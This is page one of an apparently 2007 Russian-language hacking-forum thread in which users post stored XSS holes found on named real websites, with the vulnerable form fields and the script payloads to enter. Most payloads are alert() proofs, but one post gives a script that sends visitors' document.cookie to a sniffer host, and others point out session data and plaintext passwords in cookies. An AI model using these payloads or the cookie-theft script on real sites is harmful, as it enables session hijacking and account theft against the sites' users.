Форум АНТИЧАТ
Страница 1 из 11 1 2 3 4 5 > Последняя »
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Активные Xss (https://forum.antichat.xyz/showthread.php?t=35802)

+toxa+ 18.03.2007 15:08
Активные Xss
 
Тут постим тока активные XSS.

Так же сайт на котором вы нашли xss должен быть более или менее популярным:

1. Он не должен быть расположен на бесплатном хостинге.

2. Так же тиц и pr сайтов должны быть соотвественно не ниже 100 и 3. Сайтов удовлетворяющих этому требованию хоть отбавляй, а вот постить и искать xss на совсем не известных не интресно и не имеет смысла вообще.

Желательно (но не обязательно), что бы сайты были на it тематику, или к примеру более менее известные треккеры, порталы.

o3,14um 19.03.2007 01:26
Сайт с хак-софтом, там и мой трой лежит))
samouchka.net - когда коммент добавляешь впиши.
<img src=http://samouchka.net/engine/data/emoticons/sad.gif onload=XSS]

freddi 19.03.2007 13:16
www.jjurnal.ru

Довольно популярный жж.
Постим сообщение от анонимного пользователя.
Уязвимо поле "Имя:"
"><script>alert()</script>

Работает в опере и ие.

DimOnOID 19.03.2007 14:25
email.ru

может и было..ибо XSS самая тупая))
..
отправляем письмо ..естестн в html....

Код:
<script>alert()</script>
или
Код:
<img src=javascript:alert()>

Isis 19.03.2007 20:11
serials.softkiller.net
В теме любого кряка пишем камент с хсс
Код:
"><script>alert('xss')</script>

ice1k 19.03.2007 21:29
proplay.ru
 
proplay.ru

Идём в раздел "Команды":
--http://www.proplay.ru/team/
Там создаём новую команду.
Уязвимыми являются поля:
-Игры
-IRC канал
-Домашняя страница

Test:
--http://www.proplay.ru/team/744/

DimOnOID 20.03.2007 23:56
sysadmin.mail.ru

Заходи на sysadmin.mail.ru.....
Сморим *Сервисы Сисадмина* там лезим в *Моя регистрационная анкета*
в поле Крупный город: Выбираем любой город))
далее в поле Свой город/район: строчим
Код:
"><script>img = new Image(); img.src = "http://сайт.ru/сниффер.gif?"+document.cookie;</script>
и жмём Сохранить изменения...
после переходим в Whois ..находим наш город...если в списке ников есть наш ник.....значит куки уже на снифе))ибо ненадо даже давать ссылку на свой профиль...просто на город где ваш логин)) :)

Isis 26.03.2007 11:49
www.qiq.ru
После регистрации, в профиле изменяем уязвимые поля, а именно:
1)Место жительства
2)О себе
А этих местах пишем
Код:
"><script>alert(/xss/)</script>
Пример

Isis 28.03.2007 09:52
ДОМ 3 ХЭК =))))))

dom3mir.ru

Регистрируемся с любыми данными......
Далее идем изменять свою анкету...
В уязвимые поля: Район, Метро,Город пишем такой код..ну там уж как придумаете
Код:
Москва" onmouseover="alert('xss')"
Далее идете в поиск...ищите себя понику и вот xss =)

n1†R0x 29.03.2007 22:21
http://www.ohizba.ru/index.php?type=page&id=13
уязвимы все поля в гостевой книге
фуфло, но баг..
//updat3:
Код:
http://www.autolider.info/news/main.php?id=108&cpage=1
уязвимость в поле "name" в комментах ;)
извините, редактирование не пашет.. если я что-то нарушил, соедините плз посты :)

запахало)

freddi 02.04.2007 21:55
splashblog.com

Блоггер фоток. Заливаем новую фотку. Уязвимо поле "Caption:"

Код:
"><script>alert();</script>
Работает в ие и опере.

n1†R0x 03.04.2007 18:18
http://rock-rus.com.ru/users.php

в регистрации пишем мыло
Код:
blblbl@hek.cc"><script>alert('alert')</script>

freddi 04.04.2007 22:07
icq.com

Заходим на форумы или в группы, создаем голосование. Уязвимы поля "Answer..."
Код:
<script>alert(1);</script>
Получилось голосование и теперь, когда кто-либо будет голосовать за пункт с алертом - то будут выскакивать все алерты (дапустим вы поставили алерты на все ансверы)))

Работает в ие и опере.

freddi 05.04.2007 23:13
meta.ua

Идем в блог, создаем комментарий
Код:
<script>alert(10);</script>
и при ответе на этот коментарий вылезает алерт.

Работает в ие и опере.

freddi 05.04.2007 23:22
comby.ru


Везде где можно оставить комментарий:
Код:
<img src=javascript:alert()>
вылезет алерт.

Работает в ие и опере.

o3,14um 06.04.2007 15:49
http://planeta.solo.by/- геймерский сайт провайдера.

В личку написать:

<img src=fuck onerror=alert(\'xss\')

Horsekiller 07.04.2007 11:01
tForum <= b0.915
Форум малораспространённый, но всё же.

Активная XSS в поле "Message".

Код:
http://www.target/path/message.php
Вставляем в поле "Message":

Код:
[img]javascript:alert(document.cookie)[/img]
В кукисах сессия, логин.

Isis 08.04.2007 11:36
Отморозки
http://www.otmorozki.org/images/login_d.gif
=============
Otmorozki.org
=============
Заходим в любую новость пишем комментарий...
Уязвимое поле "тема" ..вот там и пишем наш кодик..
Код:
"><script>alert("Отморозки вас похекале")</script>
Теперь ваша уязвимость ( xss ) будет гулять везде))Даже на главной странице

[loy] 08.04.2007 11:39
жесть,зачод

Isis 08.04.2007 11:51
Warcraft
http://games.mipt.ru/wc3/images/miptlogo.png
=============
Games.mipt.ru/wc3/
=============

Уязвимые поля при регистрации:
"Полное имя"
"О пользователе"
"Дом.страница"

Вставляем туда код
Код:
"><script>alert("Mipt \nВас похекале....\nУязвимость на вашем сайте нашел я, Isis \nРеспект всему античату \nА также отдельный респект:\n gemaglabin\n Great\n blackybr\n ettee\n and etc..... Гыгы \n Короче вас похекале :))) ")</script>
И вот пример.....просмотр моего профиля
Isis

+toxa+ 08.04.2007 13:27
buka.ru
в камментах к новостям
' любезно заменяются на "

freddi 08.04.2007 15:12
warlog.info

Заходим в настройки сайта. Уязвимо поле "Название"

Код:
<script>alert();</script>
Теперь при просмотре статистики сайта на главной странице вылезает алерт.

Isis 11.04.2007 13:20
Downloads.ru
http://downloads.ru/pics/www.gif
Выбираем любой файл....пишем к нему комментарий...
Все поля уязвимые т.е. мыло, ник и сообщение ...
Код:
"><script>alert("xss")</script>
Пример

XTErner 13.04.2007 00:24
ukrtelecom.ua
http://lib.kost.dn.ukrtelecom.ua/guestbook.php

freddi 13.04.2007 21:48
liveinternet.ru

В дневниках.
1) Пишем личное сообщение. Уязвимо поле "Заголовок:"

Код:
"><script>alert();</script>
Если пользователь ответит на это сообщение, то велезет алерт.

2) Добавляем новость в дневник. Уязвимо поле "Добавление новости:"

Код:
"><script>alert();</script>

n1†R0x 16.04.2007 00:13
2 »Atom1c«

пост №16
http://forum.antichat.ru/showpost.ph...5&postcount=16

[dword] 18.04.2007 23:39
zip-2002,
Код:
http://www.zip-2002.ru/forum/new.php?t=1&cat=3
В форме сообщения вводим: <script>alert();</script>

[dword] 19.04.2007 00:40
Сайт: http://aktiv.kak-ya.ru/
Путь: http://aktiv.kak-ya.ru/by/ole4ka/2006/04/26/3434/comments
Уязвимое поле: Заголовок
Код:

"><script>alert("hek \nActive_jaja")</script>
Сайт: http://forum.allsoch.ru/
Путь: http://forum.allsoch.ru/showthread.php3?s=11&threadid=17076
Уязвимое поле: Ваш ответ.
Код:

"><script>alert()</script>

_GaLs_ 22.04.2007 14:26
http://www.booka.ru/

Вставить в поле Поиск

Код:
"><script>alert()</script>
http://www.oplachu.ru/tov226182.html

Вставить в поле Ваш комментарий

Код:
"><script>alert()</script>
http://catalog.kgbi.ru/
http://catalog.designatelie.ru

Вставить в поле Поиска

Код:
"><script>alert()</script>

[dword] 22.04.2007 14:44
Цитата:
http://www.booka.ru/

Вставить в поле Поиск

Код:

"><script>alert()</script>
Gals, это же пассивная xss.

Сайт: http://www.photo-cult.com/
Путь: http://www.photo-cult.com/showpic.php?rate&id=187916
Уязвимое поле: Коментар

Код:
"><script>alert()</script>

DimOnOID 24.04.2007 21:49
http://www.bilandima.ru бррр..противно...

Дневники>Новая Запись> Адрес фотографии >
Код:
http://"><script>alert(/xss/)</script>
да ещё там в куках..пасс в открытом виде)

freddi 24.04.2007 22:15
rambler.ru

В «Планете» -> «Профиль» -> «Контакты»
Уязвимо поле “ICQ 2” и название аватарки.
Куки не стыришь, тк ограничение стоит 22 символа(((

Код:
<img src=javascript:alert()>

Horsekiller 25.04.2007 06:45
http://kemclub.ru/


При регистрации (http://kemclub.ru/reg.php), уязвимо поле Ф.И.О -
Код:
<script>alert()</script>
,

потом заходим
Код:
http://kemclub.ru/club.php?p=8&srat=1
Находим себя, получаем алерт.

Horsekiller 26.04.2007 09:11
http://ismart.ee/
Интернет магазин по продаже книг. Искал где купить "Красный Лондон", нашел XSS : )

При регистарации (
Код:
http://ismart.ee/Books.dll/login?next=index
)
уязвимы поля:
1. E-mail; - вписываем
Код:
qwe@qwe.ru"><script>alert(/xss/)</script>
2. Ваше имя. - вписаваем
Код:
<script>alert(/xss/)</script>
Далее можно изменить приветствие на
Код:
<script>alert(/xss/)</script>
, тоже работает.

Все заказы просматриваются вручную кстати ;)

И напоследок пассивная XSS, хотя это и не так интересно :
Код:
http://ismart.ee/Books.dll/find?fulltextfind=1&fastfind=%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E

_GaLs_ 27.04.2007 22:48
Xss на сайте ЦСКА
 
Сайт http://www.cskabasket.com/


Постим коммент
Код:
<script>alert ();</script>

Morph 28.04.2007 16:04
http://www.yandex.ru/cgi-bin/test-robots?host=morpheg.narod.ru
Хек или не хек?

freddi 30.04.2007 12:04
forum.xakep.ru

Запостил сюда тк не понял какой у них тип форума.
На форуме прицепляем файл тхт с содержанием:
"><script>alert()</script>
и открываем его в опере, именно в опере не через блокнот!!! но млин касяк в том что у меня срабатывает через раз))) В куках много полезной информации.
на ие не тестил, он у меня глючит).

Goudini 01.05.2007 13:56
на ачате слева ссылка $$$ для web-мастеров
http://tak.ru/editing.php
в любом поле нет фильтрации : "><script>alert()</script>

2pick 02.05.2007 20:04
http://dyn.gismeteo.ru/cgi-bin/showmap.exe?base=commonmaps&file=BALTIC.GIF&lang=r us&title=%3Cscript%3Ealert('Here%20was%202pick');% 3C/script%3E

mr.The 02.05.2007 21:16
Цитата:
http://dyn.gismeteo.ru/cgi-bin/showmap.exe ?base=commonmaps&file=BALTIC.GIF&lang=rus&title=%3 Cscript%3Ealert('Here%20was%202pick');%3C/script%3E
это пасивная


Время: 23:13
Страница 1 из 11 1 2 3 4 5 > Последняя »
Показывать 40 сообщений этой темы на одной странице